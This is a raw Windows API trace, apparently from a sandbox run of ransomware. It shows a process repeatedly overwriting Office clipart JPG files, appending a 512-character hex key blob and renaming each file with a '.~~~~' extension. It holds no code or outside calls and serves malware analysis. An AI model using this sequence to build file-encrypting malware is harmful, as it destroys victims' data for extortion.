	[0098.931] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.931] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21892119032) returned 1
	[0098.931] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4aeb890, dwHighDateTime=0x1d60e1e)) 
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841ae0
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841ae0 | out: hHeap=0x300000) returned 1
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.931] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.931] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.932] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f648
	[0098.932] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.932] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.932] GetLastError () returned 0x0
	[0098.932] GetLastError () returned 0x0
	[0098.932] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.932] GetLastError () returned 0x0
	[0098.932] GetLastError () returned 0x0
	[0098.934] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff62d9, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.934] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x9d27, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x9d27, lpOverlapped=0x0) returned 1
	[0098.935] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.935] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.935] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.935] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.935] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.935] CloseHandle (hObject=0x11c) returned 1
	[0098.935] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0098.935] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0144773.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0144773.jpg.~~~~")) returned 1
	[0098.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.936] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.936] GetLastError () returned 0x0
	[0098.936] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.937] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.937] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.937] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.937] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21892739991) returned 1
	[0098.937] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4aeb890, dwHighDateTime=0x1d60e1e)) 
	[0098.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.937] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841b18
	[0098.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841b18 | out: hHeap=0x300000) returned 1
	[0098.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0098.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0098.938] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f6e0
	[0098.938] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0098.938] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0098.938] GetLastError () returned 0x0
	[0098.938] GetLastError () returned 0x0
	[0098.938] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0098.938] GetLastError () returned 0x0
	[0098.939] GetLastError () returned 0x0
	[0098.947] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0xffff7c87, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0098.947] WriteFile (in: hFile=0x11c, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8379, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x8379, lpOverlapped=0x0) returned 1
	[0098.947] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0098.949] SetFilePointerEx (in: hFile=0x11c, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0098.949] WriteFile (in: hFile=0x11c, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0098.949] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0098.949] WriteFile (in: hFile=0x11c, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0098.949] CloseHandle (hObject=0x11c) returned 1
	[0098.996] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0098.996] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145168.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145168.jpg.~~~~")) returned 1
	[0098.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0098.998] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0098.998] GetLastError () returned 0x0
	[0098.998] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0098.999] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0098.999] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0098.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0098.999] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21898916862) returned 1
	[0098.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4b37b50, dwHighDateTime=0x1d60e1e)) 
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841b88
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0098.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841b88 | out: hHeap=0x300000) returned 1
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0098.999] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0098.999] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.000] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f778
	[0099.000] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.000] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.000] GetLastError () returned 0x0
	[0099.000] GetLastError () returned 0x0
	[0099.000] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.000] GetLastError () returned 0x0
	[0099.000] GetLastError () returned 0x0
	[0099.046] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff3faa, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.046] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0xc056, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0xc056, lpOverlapped=0x0) returned 1
	[0099.047] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.047] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.047] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.047] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.048] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.048] CloseHandle (hObject=0x144) returned 1
	[0099.048] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.048] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145272.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145272.jpg.~~~~")) returned 1
	[0099.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.051] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.051] GetLastError () returned 0x0
	[0099.052] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.053] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.053] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.053] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.053] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21904337183) returned 1
	[0099.053] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4bd00d0, dwHighDateTime=0x1d60e1e)) 
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841c68
	[0099.053] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841c68 | out: hHeap=0x300000) returned 1
	[0099.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x28dac90
	[0099.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.054] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285f8a8
	[0099.054] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.054] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.054] GetLastError () returned 0x0
	[0099.054] GetLastError () returned 0x0
	[0099.054] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.054] GetLastError () returned 0x0
	[0099.054] GetLastError () returned 0x0
	[0099.063] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff702c, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.063] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8fd4, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x8fd4, lpOverlapped=0x0) returned 1
	[0099.064] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.064] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.064] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.064] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.064] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.064] CloseHandle (hObject=0x144) returned 1
	[0099.064] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x2970f00
	[0099.064] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145707.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145707.jpg.~~~~")) returned 1
	[0099.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.065] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.065] GetLastError () returned 0x0
	[0099.066] CryptAcquireContextA (in: phProv=0x25dfcdc, szContainer=0x0, szProvider=0x0, dwProvType=0x1, dwFlags=0xf0000000 | out: phProv=0x25dfcdc*=0x3a0048) returned 1
	[0099.067] CryptGenRandom (in: hProv=0x3660b0, dwLen=0x20, pbBuffer=0x363058 | out: pbBuffer=0x363058) returned 1
	[0099.067] CryptReleaseContext (hProv=0x3a0048, dwFlags=0x0) returned 1
	[0099.067] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x363058 | out: hHeap=0x300000) returned 1
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x8) returned 0x368bb0
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x120c) returned 0x2876008
	[0099.067] QueryPerformanceCounter (in: lpPerformanceCount=0x25dfc48 | out: lpPerformanceCount=0x25dfc48*=21905738929) returned 1
	[0099.067] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0x25dfc88 | out: lpSystemTimeAsFileTime=0x25dfc88*(dwLowDateTime=0xa4bd00d0, dwHighDateTime=0x1d60e1e)) 
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x362360
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x14) returned 0x3623e0
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x40) returned 0x357050
	[0099.067] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x30) returned 0x2841cd8
	[0099.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x47) returned 0x3582f8
	[0099.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2841cd8 | out: hHeap=0x300000) returned 1
	[0099.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x6a) returned 0x27fd3a0
	[0099.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x3582f8 | out: hHeap=0x300000) returned 1
	[0099.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x9e) returned 0x2970f00
	[0099.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x27fd3a0 | out: hHeap=0x300000) returned 1
	[0099.068] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0x90) returned 0x285fb08
	[0099.068] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x2970f00 | out: hHeap=0x300000) returned 1
	[0099.068] RaiseException (dwExceptionCode=0xe06d7363, dwExceptionFlags=0x1, nNumberOfArguments=0x3, lpArguments=0x25dfb18) 
	[0099.068] GetLastError () returned 0x0
	[0099.068] GetLastError () returned 0x0
	[0099.068] RtlUnwind (TargetFrame=0x25dfc20, TargetIp=0x423f9b, ExceptionRecord=0x25df5dc, ReturnValue=0x0) 
	[0099.068] GetLastError () returned 0x0
	[0099.069] GetLastError () returned 0x0
	[0099.079] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0xffff75a5, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0099.080] WriteFile (in: hFile=0x144, lpBuffer=0x28e0048*, nNumberOfBytesToWrite=0x8a5b, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x28e0048*, lpNumberOfBytesWritten=0x25dfec0*=0x8a5b, lpOverlapped=0x0) returned 1
	[0099.081] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28e0048 | out: hHeap=0x300000) returned 1
	[0099.081] SetFilePointerEx (in: hFile=0x144, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0099.081] WriteFile (in: hFile=0x144, lpBuffer=0x368bb0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x368bb0*, lpNumberOfBytesWritten=0x25dfec0*=0x8, lpOverlapped=0x0) returned 1
	[0099.081] lstrlenA (lpString="ff9adce5d1999a19d7a1bf41e23a0520dc7873573292a0f0d4cb5ded2ad86c32d7e2da327a4cc55a621e77502b8e9936edbe6c2a95ba91b54d5135697840713b503a1bb495553b8b82806202a8690e6b446dab3a37f229028214d58fce3623dfe03ad041a836746ff68feb9e3d7a9daffeda13d592267e845a652662e2b5552b184ffc86ef05570139632d703f5d377e9c8421469caa9044650bd1effe73e654cecd9aac565e691430a97cfb177904cd8ab67c0ab614b6129833debf0b9d3135ae002eb221e4966953f46fcbd39aa5c8729834b83294aa7d387e63c53c0755302477b25257e354276c4111a1840fee8b8bbfe99664f3bec5880763f2bb52d93b") returned 512
	[0099.081] WriteFile (in: hFile=0x144, lpBuffer=0x47c6e8*, nNumberOfBytesToWrite=0x200, lpNumberOfBytesWritten=0x25dfec0, lpOverlapped=0x0 | out: lpBuffer=0x47c6e8*, lpNumberOfBytesWritten=0x25dfec0*=0x200, lpOverlapped=0x0) returned 1
	[0099.081] CloseHandle (hObject=0x144) returned 1
	[0099.081] RtlAllocateHeap (HeapHandle=0x300000, Flags=0x0, Size=0xa0) returned 0x28dac90
	[0099.081] MoveFileW (lpExistingFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg"), lpNewFileName="\\\\?\\C:\\Program Files\\Microsoft Office\\CLIPART\\PUB60COR\\J0145879.JPG.~~~~" (normalized: "c:\\program files\\microsoft office\\clipart\\pub60cor\\j0145879.jpg.~~~~")) returned 1
	[0099.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x28dac90 | out: hHeap=0x300000) returned 1
	[0099.082] HeapFree (in: hHeap=0x300000, dwFlags=0x0, lpMem=0x357050 | out: hHeap=0x300000) returned 1
	[0099.082] GetLastError () returned 0x0
